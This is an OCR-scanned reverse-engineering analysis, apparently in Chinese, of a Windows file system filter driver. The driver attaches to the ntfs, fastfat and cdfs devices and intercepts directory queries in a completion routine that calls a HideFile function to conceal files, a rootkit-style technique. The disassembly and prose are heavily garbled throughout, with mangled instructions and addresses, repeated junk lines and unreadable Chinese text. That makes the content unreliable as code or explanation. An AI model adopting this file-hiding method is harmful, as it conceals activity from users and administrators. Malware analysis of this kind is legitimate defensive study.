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text

text
text

_Eewt-
Eext:

Eext

text:
Eext:
EexXt:
text:
kext:

Eext

_Fpxt -

_Eext

Eoxt:

text

Lexl:
Eext:
text:
text:

text

-kext:
-text:
~Eext:
text:

88818726 ; HTSTATUS _ stdecall Init{FDHIUEH_DDJ[BT Driuerﬂhject, rigr irp}
Lexl:
Eext:
text:
text:

eBa187246 Indil pPruL nedr : CODE WREF: DriverEnlry+39] |
130 s i

eae18726 Driveridbject = dword ptr 8

0ae18726

08618726 maw edi, edi

:e@e1p/28 push ebp

0aa1 0729 mou ebp, ecp

006818728 ma v eax, [ebp+Driverdbject]

8881 872C push esi

800187 2F push offset Glab DeviceObject ; Devicelbject
ennin73iy push ! ; EXclusive

HUBIW/ 36 push 1ubh ; Deuicelbharacreristics
08618738 push B ; DeviceType

a8a1873D push 1 : DeuiceHame

=08681873F push 8 : DeviceExtensionSize
AAA1A7L1 push FaY : brivernhjert
00810742 maou Clob Driuverlbject, eax

pae1 6747 call ds:IoCreatelevice

:8881874D moy €51, eax

aa01874F LesL tni, besi

aan1a751 J1 Shovrt loc_187BS

BBe18753 mov eaz, Glab Devicelbject

0ae18758 push 0

-0881875A push dword ptr [eax+28h] : Devicelbject-Upb
88618750 call InitDeviceExtension

0ge108762 push 28h

paf1a76n pop eax

8ge1876%
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Fai

ST T MM I
Sbewt o000 8765
el o008 1 876E
LIedAt zeeearT2
LAt 200 0T TE
Tedt zHHH RS 7R
text CUNRRI MY A
Sbewt o000 6781
Ledl 00016788
LAt 200 0T ED
tedt A0 AT
Tedt ZHHHI HAYY
text CUNR HSYE
Jbext o000 BTRS
Led L o008 18T aD
LAt 200 0 nF
tedt il ATRA
-Tedt ZHHH HSIE
-text o000 67ES
-text o000 67ES
el o008 167ES
LAt 200 07EN
tredt zAAEA ATREG
Test HHRI RS
-text o000 6TEF
Stext o000 B7CS
Lo L a008 187 CS
AT 200 0V ES
Tredt 2RAAA TGN
Test ZHHHIHSLE
Lhext o 00HBTRG
Jhedt S 00 67D2
oL L 200018702
oAt 2000 072
tedt 2R ATD2
text =HHHI HSDU

o F e A S TRL

LOC TGO

lac_ 18785 :

1uc_187C%;:

10c_10702:

e b UUUT Sy Lac 1405l
Ltesb-GEEH TN
TREFZHHHTASIY,
TEREZHHHT A MG
ECKEZ DDA TG

Init

a

. LUUE SHAEFC

acx, Glob OBriverdbject
dwurd plr [was+vcx], offael DispalchRuuline pass

a3y, Llob Oriverlbject
dword ptrr [eax+filh], offset FileftystenControlRautine ; IRP_MJ_FILE_SYSTEHM
wdk, Glub_DBriverDb jecl

dword ptr [cax+6BR], offsct DivGontrolRoutine

HTrHrEhlﬂFﬂFTDPiUFFﬁ
atk=pt |r“|ﬂﬂttEEHHEHiCE

lnlT+o417

s IRP_MWJ_DIAREGTODRY_GOHTAOL

da:TuReyislorFeReylslrdLivnChanye ;3 regisler File cyslem clidnging

dwnkd pre [rax+PRh],

; COBE XAEF: Imit+28Tj
Wdax, Glab_BuuiceDb jecl

; ewicplihjert

; CODE SAEF: Imil~+94T]
0dk, Glob_brlvecrdbiect

n

i GOPE HAEF: Inlt-+4D0T]

M
L1

add caK, &

Cnp cak, OnAh

jIe shneF T _THARY
Mo

Mo

LTI

My

rall F111FactTh

rall

push

push Glob_Driwerdbjeck
Lall

mow ozl cax

Frst nel, med

jge shner Lo _THADY
LTI

test 2JkK, CdaK

1" Shner 1o _1R?RG
nush PAR

call ds:loheleteleuice
My

nimil

M PAM, P&

ing shork loc 1G070L
- MK, O

pop egi

pop Php

retn H

endp

; LUDE

aHEF :

Lnit+AAT ]

1 IEZhE et Z—1- 1% &35 7% FILE DEVICE DISK FILE SYSTEM, i

% %¢{l 5 FILE DEVICE SECURE OPEN,
WET BN FTHELwEWME X MENEH B & REA<ER A

LR A

B &1 RSB T 52 ML

DeviceExtension

{

PDEVICE OBJECT LowerDevice;

PDEVICE OBJECT RealDevice;

b

H ™ LowerDevice A FIEZNH) T E K5, RealDevice 37 VPB F ) RealDevice
wE HLTHHE CHEFRIERE.



2.4 T &£ M MajorFunction:

IRP MJ FILE SYSTEM CONTROL

IRP MJ DIRECTORY CONTROL

X R 2,0 - SR Eh B A b B 0K T ) R, oA A B — D R A L R
LR B pass T, AMAEF 2L

A~ 15 F2 43 Bl 2 FileSystemControl,DirControl. &2 4= 3K =) 0o Ih BER TN, 5
2 & J5 (] 3.

3. ¥EF B B 1E R FastloRoutines, 3£ 5) 3 & tE 7= B % 1) FastIoRoutines,i% B 1§
BT
FastloCheckIfPossible;
FastIoRead;
FastIoWrite,
FastIoQueryBasicInfo;
FastIoQueryStandardInfo;
FastIoLock;
FastIoUnlockSingle;
FastloUnlockAll;
FastIloUnlockAllByKey;
FastIoDeviceControl;
FastloDetachDevice;
FastloQueryNetworkOpeninfo;
MdlRead;
MdIReadComplete;
PrepareMdlWrite;
MdlWriteComplete;
FastloReadCompressed;

FastloWriteCompressed;



MdIReadCompleteCompressed;

MdlWriteCompleteCompressed;

FastIoQueryOpen;

iX£% FastloRoutines 1% 3 #{T 4 L HEERY T 1, R BIEE £ 2 —TF .78 5 #
HTFEIE.

4. R G RE attach BI3CH R4 T, ¥ Attatch TargetDrivers.

Se 3 B 38 it MmGetSystemRoutineAddress E 75 Y
ObR eferenceObjectByName B %7 f) Mkt 45 H Hukt 15 0 2 87 2550 B 04 B9 3R Zh 55t
B2.XHEGELENR:

WFileSystem\\ntfs
WWFileSystem\\fastfat

VWEileSvstem'\cdfs

HFRF N EHEHE otfs, fastfat,cdfs. 1X =4 0 R H G B b s —MEH
W T IE TR #2A DL fS &4 383 ObReferenceObjectByName 87 () IREH ot
B &,

i B HMEELIEFF 3 18,4 B2 attach iX =F 304 F 451X attach [ EH ¥ R
GetTargetDriverAndAttach(), A I HF B -2 M. E— M S HREA Y
ObR eferenceObjectByName f)Hi it % — SR U HRFG X H BI85 Z 2
B A SR8 A SO Fgi 4 #ht 1 FIRELER R B9 IR0 S a5t B X E S Y 86,
B BRI I O R E B &L AR BT ST H ST
attach,attach -1~ t% &% S §) 42 TryToAttachDevice()



Aexl-0381058E ALLQLchTarye LOrivers pruoc neqr i CODE ZREF: Imil=7¢3)p
-text- 0@ @GHE
ARt oHEMMAUL Pestinationstring= LsA_UHILUOL_SIHIHLG ptrr  Z4h

dextIdddn@seE war_1C = dward ptr -1cCh

-text- 006 BGHE ms exc — CPPEH RECORD ptr -12h

Feet=AAMAGNT

LACHtz A BEEE puch 14h

Aesl-daaiasca pucli vFFuel unk 11EZ#

test-AAMAGNS rall

LACHTZHHEHALND and lcbp+ns_ekCc..disablcd], B

Aexl-d3@iasCcE pucli vFFoul Swurcellring 5 SwurceZlring

test-d@H Q503 les eax, [ebprlestinatianitring]

AERT IHHHIHED S push Ean i Uestipation%tring

LACKt A0 BE0 T call dz:AtlInltUnicodestring

e l-doe10500 leg vy, [ebprlusLinalivinElring]

Fent AR ART A push PaK i AystenBinotineHane

LACRt oA BEET call IZIS:HITIGE'tS_I,I5tEl’IHl.'ll.ItlI'Il'_"I'I[|[|I‘E55 ¢ GCE Nddreso ofF l]IIIHE'FE'I'EI'IBDUIJjE[:tE_I,IH-]l'IE'
LlexlzA00105ET Iy eni, wdx

text AR AGED tesk P51, PRI

ACKETZHHE HAEH iz short loc_1H/ 13

AexL-A081BSED dand [vLp+var_1C], @

~text-d@f @6F1

TRETZHANTHAL T Tor_THAL T : LN xRN o= HTTHI‘EHIal'gFI‘I]I"iI.IPI"-'uI-'-I-I:*_'i
LACEtzaadn a6k cnp [cDp+var_1L0]. 2 : laop;

Aexl-d@@1@5FS iye shuvrl 1w 10713

teet=AAMAGT 7 iy fax, [phprvar_AR] ; nhjerk is a Fahle saved targelb deiwver path
LACKT AT BEF puch FllciystenHamenvraoy[cax=y4] ; Objcct

Lexlza96107 61 pucli Ui ; ODUReFerpncedl jecLByHdane

best - AAM A7 A7 rall LeFTargetDriverdndfAttach

ACHTZHAE WS WS inc [cbp+var_1L]

LTexXtzaaodarbA inp chort loc_1BGF1 ; laop;

textzQOBHOZDE ; —-—- —mm——— - - e
SPRRt 2 HAR WY WIS
cKtz 080007 DG loc_1DB70C:

-TPETZHAAHT RS HED

textzaaaiarac

fexk-AARTATAR Tar AARFAN:

Lotz Afe1a7ac Hor CaK, CJH

.texkt-Q8014d70E inc BEax

LLoREZUHUTIHSWE retn

.LexL-dgé@ig’i@ ; -——-——-———--— -
LLEREZHHHIH M

LexloA88187168 1o 168714:

LLEREZHHHTH T moy E5p, [ebp'ms_Exc.old _esp|

LlexLod8@148713

Jexb=ARATATAT Tarn_1R710: : DADC XRCT = abtatchTargetrivers 207Tj
LLextzaeo1a713 : AttatchTargetDrivers+3rt]

texb - ARRTATAA mnw [rhptms_exr.disahled], AFFFFFFFFh

LLextzaaeiacrin call

~texk-d801d74F retn

LLeXEZUBUIWATE AtEatchlargotbrivers endp

i. M TryToAttachDevice()

ETHAFEFITEHE - TREENEEMEN T RN EEWN ). ET
£ BOOLEAN B (ix 2 i B B & A 8924 true), T #I5EIX 30 B &4 B EM (0%
§i5),75 2R . o0 2 i A, 3R B B 3 CreateFilterDevice AndAttach()75 U] Detach
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dext:
.Coxt:
Text:
.Fpxt:
LToxt:
LLexl:
LToxt:
dext:
.taxt:
et
RAAR1 AF 1

=l

Lext:
dText:
LCoxt:
ext:
.text:
LToxt:
Lexl:
Loext:
dext:
.Coxt:
Text:
.Fpxt:
LToxt:
LLexl:
LCoant:
dext:
.taxt:
et
AART AATR

=l

Ltent:
Text:
Ctewt:

Lexl:
text:
Lext:
EeEL:
ext:
Lext:
Fext:
Fext:
Lex
Lext:
Lext:
.ECET:
Lext:
dext:
Fext:
Lex
Lexl:
Lext:
.ECET:
Lext:

ii. A3 CreateFilterDeviceAndAttach()

Bae1 a?EC
WU GIEL
a1 a2CC
ARR1 AFT,
BaE1 A2EC
Bae1a2EC
BAE1 A9EC
Bae1 A?EC
WU WIEE
a1 a2cr

A6 A2FES
Bae1 a2Fd
HYH BN
BEE1 A0
DO dAdo
Bae1 ana:z
515 Qs T2 5
o6t anaz
Bae1 gpEz
WU AU
a1 A A
AART ARG
BaE1 Anae
Bae1 aa6E0
HYH JAUL
Ba61 anan
Do dAao
Bae1 AaEC

a6 an1s
Bae1 9A1y
UL Ay
GLLSHN R
gae1eA1c
pae18AE
HHUT UM o
gaoionz2
geeieAz2
ARE1 AR 2
AR AAZ?
gae10A:3
pae1eAz
pae18AZA
HHETHNS
LT |
L1 )
AAR1 AAST
gaci1eas1
gacioaz1
pae1eA32
51 150 0 ) B
L LR ) B

; void _ stdcall TryToAktachDewice(PFDEVICE_OBJECT FsDevice, char isFsFegister)
1yl oAttachlenice prac near

FsDevice

isFsReyisler

loc_16aA02:

loc_16Aa80:

lov_10RIC:

Tor._1RAF?:

loc_1BAJA:

lov_10A3I:

Irylonttachbevice endp

- dward ptr E
= lygle plr ECh

nov
push
noyv
IZII|I
puszh
jz
noyv
call

1np

push
vall
push
call

Pop

o
Fop
Fetn

edi, edi
ebp
ebp, esp

; LUDE XKEF: HEtIanEtﬂPiUEFHndHttatn+5ﬂlp

: DATA XRCM: Indt:78Te

[vhprinFuReyginler], A

cdi

short loc_189A8Z . unbetach
edi, |ebptksDeyice|
CreatelilterDeviceAndattach

Sshort loc_10A37

; CODE XREF: TeyTeAttachDevwice+ATj

€ax., [ebprFsDevice] ; unbekach

eci

esi, [eaxt18h]

frl, Pax
short loc_1801C

ecl

: Device »AttachedDevice

: CODE XREF: TruToAttachDevice+32]]

isheivedlHybrive -

A1, Al

short loc 18A22
edi, esi

eci, Jesi+idn]

ecl. ecl

Short 1oc 18R00
Short 1oc_THndH

pdi

du cTube LachDeuive

acl

dezIobeletebevlice

esl

el L
abp
L

CODE SREF: TryTwAlLldchbeoice+IFT

NANF HRFF: TryTafAttachbeuwiree?9T5
Targetbruice
Devicedboject

CODC HRCr: TrylTofttachDevice 4T

CODE SREF: TryTufllachbeuices 14T

CreateFilterDeviceAndAttach()iX- i &H — M2 H. 2 AL HEFIEE.
EAE R attach W SR A UMW S ,CD ROM #4326 17 & P 48 50 {4+

R

FILE DEVICE_DISK_FILE SYSTEM.,
FILE DEVICE CD ROM FILE SYSTEM

FILE DEVICE NETWORK FILE SYSTEM



S B S SR8 E DL E i I RIX S0 B g i S IR H # attach, £

2 — & s & attach 23

M & & i & R Attach 21817 B #7 AttachToFsDevie 3 sC WL §) 1% 7 B H04E 151

lexLz808180980 CrealeFillerDevicefndAlLlach prov nedr :

lexL-G061898 0
ClexL-G061898 0
Slexl-G061828 0

FillerDeuoice

2. REE attach i &/ ETEEERFTHET B ZIHMTAT attach T1E.

CODE #REF: TryTuAllLachbesive+Fp

= dword plr -4

.lexL-80818980 s pdi, wdi

-lexL-808189%2 pus=h wbip

lexL-80816983 UL ebp, vap

lexL-80610985 pu=h B

SlexL-80010985 e wdx, [edit2Ch]

lexL-B80610989 dand [vbpeFillerDuenive], B
SlexL-80818980 Cnp g, B

-lexL-80818990 j« shorl luc 10990

lexL-80818992 Cnp udx, 2

lexL-80616995 J& shorl Luc_ 10990

lexL-B806816907F ] ]T) wdx, T4l

Slexl -G08 189290 jue shuorl lucrel 109EL

le<L-8061899C

.lexL-8081899C luc 18990C: ; CODE XREF: CrvaleFillerDeoicedmdal Lach+1aTj
.le<L-0061839C ; CrugleFillerbeaicesndd L Lach+ 15T j
.lexL-0061099C pusdi el L

lexL-806169200 () I | [=Alredudyd LLac e dEplie
SlexL-G08e1824%2 Lesl 41, al

SleL G818 4 jue shorl lucrel 109EL

.lexL-80818945 lva wdx, [ebprFillerbeoice]
.te<t-00010903 push EET ; Devdcedbject
.te<t=0a0109AA push adl ; Int
.textzod0109HB call CreateFllterDeodce

ftezt-odol109EQ test B, EaN

.fte<t-adol109g2 11 chort Locret 1 DOEN

.te<t=000109BY push aci

.tex<t-000109B5 push adi

.te<t=0a0109B5 push [ebp+FllterDeulica]

.textzod0109E7 call setFllterDeulceEyFs

.te<t-000109BE mou 2ax, [ebpiFilterDendce]
.te<t-afat109Cct mo acl, [oaxt2En]

LEHT S HOW] Y [ILIR) | ]

ORI VLG push agi

textzodeipecy call nitheodceExtenclion

text 0061 BICE push Ch ; int

text 0081 BICD push edi : TargetDevice
dext I UgUT WLE push |ebp+Filtertevice] ; Ypurcelewice
fexXt-ode1end cdll AttachToFsheyip

Fext - AAR RGO test PAX, PAX

text 0081 p9DB pap Ch

doxt 0361 B69DD jge short locret 180EL

text 0001 DIDE push [ebp+FllterDenice] ; Deulcedbject
dexl CAARTRGDF dA11 lm - TnbETel #Drwine

dextoaae BOCYy

Aotz 0801BIEY locrct 1A89EL: : CODE XREF: CreateFilterDevicenndnttachs1nT
LtoXt 00871 POEN ; CreateFllterpeviconndnttach+2at] ...
de=l cAARTAGFL TrAur

LAext 00681 BIES retn

AdoHt 03I MES CreateFilterDeviconndibttach ondp

3.

W F A% ToRegisterFsRegistration Change

FEM 3 5 g 2R gh (A 5] 72,05 M F 2 AL R 4 B TryToAttachDevice()

B 45, F T 72 BORT B 5 I B 30 1 B AL HEAT attach.,

=.MajorFunction #H#



IRP_MJ FILE_SYSTEM_CONTROL #1 IRP_MJ DIRECTORY CONTROL
(9 IR 18 {7 240 B 4 IRP MJ FILE SYSTEM CONTROL {52 R 4h 1
IRP MN MOUNT VOLUME 25 &5 ik 1 5652, 4b 32
IRP MJ DIRECTORY_ CONTROL |2 S 4 # IRP. MN QUERY_DIRECTORY
RRVEIR TR Bt By B pass, DA

IRP MJ FILE SYSTEM CONTROL {5l {2447

i. FileSystemControlRoutine 7|2
H 56 ¥ MinorFunction, ¥) #ff 2 % £ IRP_MN_MOUNT_VOLUME, 2 IV i# F

MnMountVolumeForFSC, % ] pass;

IextIHHEINAYO ¢ wold _ cdecl FllesystembontrolHdoutinePEVILE UBJELRT dewvdace, FLHF 1rp)
toxt:800H 08 FilctystoemControlRoukine proc near

~ToXTIHUUTUALEG
-TexTZ000108%6 mS_ eXC
_lex | CAAALRAIE 1leoine
dext 08816520 Irp
toxt- @01 682G

CPPEH_RECORD ptr -72h
twuril plr &

dword pktr ACh

~ToXTIHUUTUALEG puch ¥

-Toxt200010898 puch oFfzeT unk_170D%8

Ire=l AAATAAIN AT

textooB8168A2 and [ebptns_exc.disabled]. B

~toxt:80010R0E nov cCx., [Chp+Irp]

-toxt i Hid1uRAY now 83¥, |Bcx+abn]

_toxT =000108AC puch ercy 1 [Kp

-lex| -AARIRAAD prih [rhprileuine] ; inl

text:08816408 cmp byte pbtrr [eax«1], 1

~toxt:80010RBY inz short loc_10&kGCL

~ToxTIHUUTUAHG call HnHountolumerorksL0

-Toxt200010ABE

Ipx| cAARIABRE Twi-_1RARR : ; NDF SEFF: FileRyslemfonl ol Ruol ine+S3) |
text:o8816400 nov [ebpi'mns_exc.disabled], BETTTTTTCh

~toxt:B8001 02 Jjmp short loc_10&DE

~ToXTIHUBIVALY [§ ——— -
-Toxt200010ACYH

el cAAARTAANE T TRACL: ; NBF SEFF: Filelyslemfonl rulRool ines {FT
text-BH81BACY call OtherRoutinelfass

~toxt:8001 0G0 Jjmp short loc_10&BE

~TOXTIHUUTUALY FilelystentontrolHoutine endp



.ICKT:
doxt:
doxt:
doxt:
doxt:
doxt:
dext:
dext:
dext:
dext:
dext:
dext:
dext:
dext:
dext:
dext:
dext:
dext:
LLlexl:
LLlexl:
Lexl:
LLlexl:
LLlexl:
Lexl:

HUH] Uy 4
0001 80LE
aee100LE
0001 80LE
0001 80LE
age100c2
11l
aee18%L0
aee1e9Ll
11l
aee1 8962
aee1 8956
Aee1 800
aee1 8900
aee1A%ay
088189240k
aee1 894l
aee18%73
aeR1e% 7Y
RN
aeR1ege Y
Aee18% s
LR
aee1eesy

loc 109400

Jue_ 18974

mov
pus=h
mov
push
call
push
call
test
jnz
inc
add

now
nov
now
call

Fop

pup
Hup
Ivdue
reln

ii. MnMountVolumeF orFSC()
HRHTURE T T HEN ARG EET B awET BRNE -RRE
{£7F VPB H realDevice.#R G £ B 2 LI T 45 157 1% &0 Stack Location $ 1 2|

JZ 1 &) Stack Location 4, 3F B 1% B i 72 B 5| 12, Context #1147 H[1. 72 ALF| FE 45 4
CompleteRoutmeForFSC.

CaX, |CaK+%)

duvord ptr [cax+8Ch]

cax, [ebp+Devicelbject]
duvord ptr [cax+28h]
InitbeviceExtension
[cbp+Devicelbject]
CopuToHextStackAndSetConpleteRoutine
al, al

short loc_ 189446

byte ptrr [ebx'20h]

duvord ptr [ebx'68h], 23%h

; CODE XREF: HnHountUolumeForFSE+57Tj
eax, [edi+Z28&h]
ecx, [eax] :
edx, ebx ;
ds:lofCallbriver
ebx

DeviceObject
Irp

; CODE AREF: HuMuunlUulumeFurF3C+33T]
edli
Enl

LEeXt CHHIIAYES ¢ HISIAIDE _ stdcall MonMountdoluner ok FPEVLCE UBJELR] dewice, FLHE 1rrp)

Lext 88018285 HnHountEWolumelarlEG prroc near : CODC HXRLCr:= MileSystenControlRoutine: 28Tp
LEeET D UM UM HG

.text dword ptr -4

:aopiades nDenlcedbjeckt =

dexl DARRTADAG tlevine tlonrd plr R

Lext 88818285 Irp - dword ptr BCh

LLext @132 A5

LEEHT HHT U EG moyw cdi, cdi

.Cext:aonianog push ebp

lexl-Qa@1a0ad e vhp, enp

-Fext - AR ADAR push P

text:@019280 and [ebprCevicelbject], B

Jbext 881818 push C5i

LEet IHEETI U] push edi

.text Qopioanz mi e edl, [ebp+denice]

dexl :ARATARIG LK Pax, [phpsleoiceihjeel ]

test 819218 push EaK ; Devicelbject
Lbext E8B1817 push cdi : int

LLext iHHTUMTA call Lreatetilterpevice

et QopianiF Mo ecl, eax

Jdexl :ARATADPH I sl Hui, Bai

Lext 80818923 jge short loc_1823B

Jbest iA8B1A92% moyw ecx, [ebprlrp] : Irp

B e AL and dword pEtr |eccx+i1Lh|, 4

Eext QoD anzc Wit dl, d1 ; PriorityBoost
el DARATADZF (T [Prx+1&0], Pui

Lext ;80819231 call ds:IofConpleteRequest

Jext 6801 a7 mow eax, ESL

LeeAt t 8 A2 0 ijnp short loc 18074

et @O ;| ———-——-————"———— e m
lexl Q8310038

Fext :ARAMAPRER Tnr_1APRR: ; LNDF XRFF: hhihunf“n1unPFanRﬂ+1nTj
Lbext 88818230 push ebx

LeeAt DA A0 Mo che, [ebp+lrp]

EEET DM T M1y eax, |eDx+ddn|

iii. 52 HF2 CompleteRoutineForFSC.



52 U5 FE Y context 2 #1152 B4 G B H AT I8 1 & % 8 1R X - 1 &5
% 838 S AR T ) vpb->RealDevice, HR #2118 & B 2| vpb R E A 5B
VPB->DeviceObject, X HN R X HEGMF R E AT LAEXZAM.BATE
mount 7 B A6 A9 & & VPB A 8L 7E mount 7 HS BN E T, 7 HUE B9
VPB 7 BH M. I E A RANSE SR TEREST BER B ETHRHIE
B BB R GRS S S ST LA#H 4T attach T .attach 725572
AENEETEORERTERT.

el DARRTAARE 5 wwiil el iz Rum“1ulvﬂunlinanrFRﬂ{FﬁFHlﬂF_ﬂHJFET Dﬂuiurﬂhjvul, FIRP irp, POFUTRF_NRJFET afomlrxl ]
text BE01833C CompleteRoputineFaorF:EC proc near
Stent iMHUT WHIE

-Fret DARRTAARE s PN - LPPFH_RFLORD pFr -1230

LexL @ER1A43C Lrp = dwurd plr  8ChL

~text IWHT WH Sl Lonkexk - dword ptr  1kh

-PeRt tAARTAADR

Lexl @861 8920 puzli &

SEext iHHHT U4 EE pus=shn otkset unk_11k5%d

-reRT tRAAAT AA R rAll

Lol @601 8948 i [ubpsie_rdc.disabled], 8

text @801 83NE JTal 1) ebz, [ebp+Context]

Stext MU UHE Tl 1} esi, |ebx|

-TrET DANR1 AAE nnw ~K, [Fﬂ14?Rh]

LexL @AE1 350 [ JTILL van, [eax+h]

EeRttMHUT WL F [l ]} e3x, |eaxdhh|

StoRt AR AACn nnu il [RaR4R]

Llexl: @801 495D [ITILL vai, [ebp+irp]

Stest MEET 0N cnp dwprd ptr [eas+i#h], W

TRt RN ARG 1 =hnrt Ine 1AATA

LekL:DER1 G306 puzl vl

EeNE iHHHTIHEGL K coll l5ALreadpA tEache dify e

~text:@dpiddEC test al, al

lewl -AARRTAAAF jn; mhorl Tmz_1AA7hH

text:BOE18374 push edi

teRt tHHYT WS call Attachlal sheviel oisce

SPrRTIAART AR TG et rIR, P

LexL BER18378 Jyw shivrl luc_188%1

~textMHTUH AR

PRt :AAR1AATA 1o 1AATA: 3 RONC XACC = Gonpd ete koot el neer se AT
Lesl @ER189750 i ConpleleRuulimeForF56+32T
LestiHHHT A A push esi : Pevicelbject

-reet tAARTAATI rAll ds:Tame1rtrirudne

LlesL:BEE139E ]

text: 08018361 loc_10BE1: ; CODE XREF: ConpleteRoutineForFEC+3CT5
CextiHHHT1HEHT push H : 1ag
Coxt:0BA10ER3 push eb o

Frxt-ARA1ARAY r.Aall As:FxFrerPonT WithTan

Codt i HUHTHEHN mouy Lebp+ns _rcHdc.disabled], WHFRFFFFER
Lol :BBE1GER1 =ur Bdx, PdX

Frt = ARA1 ARG jmp shnirt Tor_1MAARA

Lot :@BA10EDS CompletcRoutlneForFsG Cndp

IRP MJ DIRECTORY CONTROL #5244

i. DirControlR outine

H. 2t F-L 3% 78 B 8 DirControlRoutine F,ix A M B LI @R R

43 IRP_ MN_QUERY DIRECTORY,#| /5 H ## F B # MnQueryDirectory.

ii. MnQueryDirectory

XA EHSE R E B R U 4,



MR HLZFEEFBCHSKE 76, B3 HEH 19 P Fr52 B { B, 5im
i, & NS S 25 1B T Bk, 1% B 7 Huf5| 2 ToCompleteRoutineFor QueryDir, ¥
irp B TR IXEHE COPY MEMFEN EER T —H.2EOELIMAXER
5N A B wm BRI AR

~text:BBM1BDGE ; HTSTATUS

stdcall MnQuergDbirectoryg{FDEVICE DBJECT Device, FIRF Irp)

-text:BBM18DC3 HMnQuerybirectory proc near ; CODDE KREF: DirControlRoutine+26Tp

-text-B8818D0G3
~text:BAB1BDCE Deuvice
~Lext:BBM1BDGE [rp
-LexL-B8818D05GS
-LexL-B8818DCS
-Lexl:BBB1BDGA
-LexL-B8818D0GE
-LexL-B88180CD
~Lext:ppp1alDA
-Cext-Apal1abn3
-Ceaxt- b1 abng
~Laxt:ppplanbh
-Cext-Apa1biE
etz HHAT HIE
_rpMtz AT AT
_rpxtrzHHHT HDFA
_rperHHHT DS
-TexXTIUUMTUOES Loc TUDEL:E
_text-00010DEG
_text-0300100ES
_taexwt-03001080EA
_text-00010BDEC
-taxt-[0B18DFO
-taxt=[00108DF2
-text:BBB1BDFE
-taxt-[B0018DF&
-taxt=[00108DF3
~textzOBB1BDFD
-toxt-B0018DFB
-toext=B001BEDRD
-trxtz 0061 BER2
-toxt-B001BED3

- dword pkr B
- dword pkr  BCh

(e
pusl
(e
(e
mowuw
Moy
(=14
push
push
j7
11y
jnz

mo
teck
jz
cmp
jnz
mo
push
puch
pop
Aot
mo

pUi,. edi

elbp

g, ESp

erdx, [ebprIrp]  Irp

pax, [edx+600]

BCHK,. [Eax+1Bn]

dword pty [eCX+2CN]. 4000B0BN

p5l

pdl

chnrr Inr_1HDRS
P, PrX

chner Inr_THFHK

: LunkE XHEF = Mnluerybirectoryp+1/1j
psi, [pax+B]
pci, Pci
chorkt loc_ 18E22
word pkr [esi], LCh
chorkt loc_18E22
eci, [esi+h]
eh
13h
BCH
chk, chk
cdi, oFF=cE asc 11BuWA 5 ''{""

tope cmp=d

pop
jnz

che
chort loc_18E2:2



ECHT  HUUTHEHS mow
Ltoxt: 0001 6E BE
LAort:0001BERE 1oc 16EGE:

text:00016E 68 and
.toxt:00016EBC tect
.text: 00016E BE j=
dext:00018E16 or

Ltext:0001BE17Y
Ltext:0001BE17 loc 16E17:

text:0@01BE1T push
.text:0001GE1H push
.text:00010GE1H

call
text:00010EZ G jmp
text:00010EZ2
fest :ARATRFZZ
STRET DHHHTHEZY Ine_THEAA:
TPET I HHHTHEZ Y

CCHy | Cak+130]

: CODE XREF: HnQucryDirectory+1BTj
dword ptr [cax+8], A
CCH, CoH
chorkt loc 1BE1Y
dword ptr [ecx+2Ch], hoBddbh

; CODE XREF: HnfQueryDirectory+héTj

edx i Irp
[ebp+houica] ; int
DEherRoutinaPasse

chort loc_ 1BESF

: ENDE XEEE: Holuerybirectory+22715
: Mnljuprghirectnry+2R1j __ .

STRET HHHTHE Y nr hyrp pre | rae+d], 1

TRET ZHHHTHEAA mnw PRI, [Pax+i k]

LLexT 0801 BEZY lea pax, [esl-24an]

.TexT:0081REZC mov edl, eax

.LexXT 8881 8BEZE push F

LLexT 0881 BESD pop BLCK

LLext 8881 eEd rep mousd

LLlexl:88816E33 (] 1] byle plr [eax+3]. @
LlexL:8881BE3Y nuwy edx, [edx+G8h]

LexL:88818E3JRA dnd dwuord plr [edx-4]. 8
LexL:8881BEJE Sub edx, 240

LLlexL: 88818E41 nuwy dword plLr [edx+ICh], wffsel [vCumpleleRuulineFurQueryDir
text:00810ELE mow byte ptr [eax+3], BEAh

.text: 8801 6EAC mov Eax, [ebprDevice]

text 8081 BELF mow Eax, [efaxrZ3h]

.text:0001GES2 mou BCX, [edax] ; DeviceDbject

SICEL I HUUTUHESL Y
Ltext:0001BECA maw
text:0001BESF

.test:0001CESF loc_ 10ESF:

TAXT : HHHTHESE PO
LLEexXt : HHMIEEG Y pop
.text:eee10EG] pop

ezl 88B16EG2Z reln
Aext BE01EEGEZ MnQueryDirectory endp

deslo+Gallpriver
ea%, 103h

: CORE XREF: HnfQueryDirectory+58Tj
P
B5i
BEhp
B

iii. 52 2 IoCompleteRoutineForQueryDir

= F R 8 R, R SO A R B A 56 B B IRP->ToStatus. Status 275
O T, B0 5 A O Th WIEE 5 A5 50 B VR R B W AR F5 R R ok B — 0 o oA S0 ) (R 7, A
| %7 GetFileInforOffset 1 3% EndOfFile Offset FileName Offset,FileNameLength
Offset. [l % B £ [F 4 3 415 E5 FileInformationClass )7 B < H 1 E £ 1k

.

SRR E U LAX R R O e BEH

FileBothDirectoryInformation
FileDirectoryInformation
FileFullDirectoryInformation
FileIdB othDirectoryInformation

FileIdFullDirectoryInformation



FileNamesInformation

EERESIENRERNEN A EFHH HideFile 5 &304

.text QO ACZA IoCompleteRoutineForjuerynlr proc near

dexl CARRT AR A

Eext @81 AC2A

Lext 881 AC2A CndDiTile = duvord ptrr  24h

LEeRT MBI LN FileHamelM+5eE - dword pty -2 Hh

LCext:a0pAaczA Wwybevice = duword ptr -1Ch

el DARATACZA o = LPPFH_RFCORD plr —-18NL

Lbext ;B0 AC2A Devicelbject - duvord ptr 8§

test 88K AC2A FNileHamelLength = dwmd ptr  6Ch

et B AC2N conbext - dword pty 1Bh

LCet IHHE ULZA

Cext: Qo aczA fuch 14h

exl CARRT AR [rush nffsel nnk_11F9R

Lext 6081 AC31 call

text @881 ACA5 “ol- e3i, esi

LA DU UL R mow [cbp+ns cHC.disabled], °si

Coxt:00p01AC3E now 23X, [ebp*cDntext]

Llexl G801 3C2E L [eLp+lipDenice], wdax

text ;800 a0 mow edi, [ebprFileHamelLength]

Lbext @881 AC 44 chnp [edirdi8h]. B51

oAt B8 A0 K7 iqe short loc 1ECAHE

Lot tHHI LAY mow esi, oax

Cext:Qol ACAB

dexl CARATACAR Teonz_1ACAR: ; LNbF SEFF: lnﬂnmp1FIHHunliuPFurﬂuFruhir+Eﬁlj
.kext 660 ACAB mow eax, edi

Lbext 8881 ACAD call lN-eelfool

LEedT DHHME ULs 2

et @0 ACS2 loc 1 ACE2: ; COPE XEEF: loCompleteRoutinaForqueryrlir+CAj]
Llexl G801 3C52 (LTTIL [ebLp+is exc _disnabled], BFFFFFFFER

Fext AR ARG =t FAX, PAX

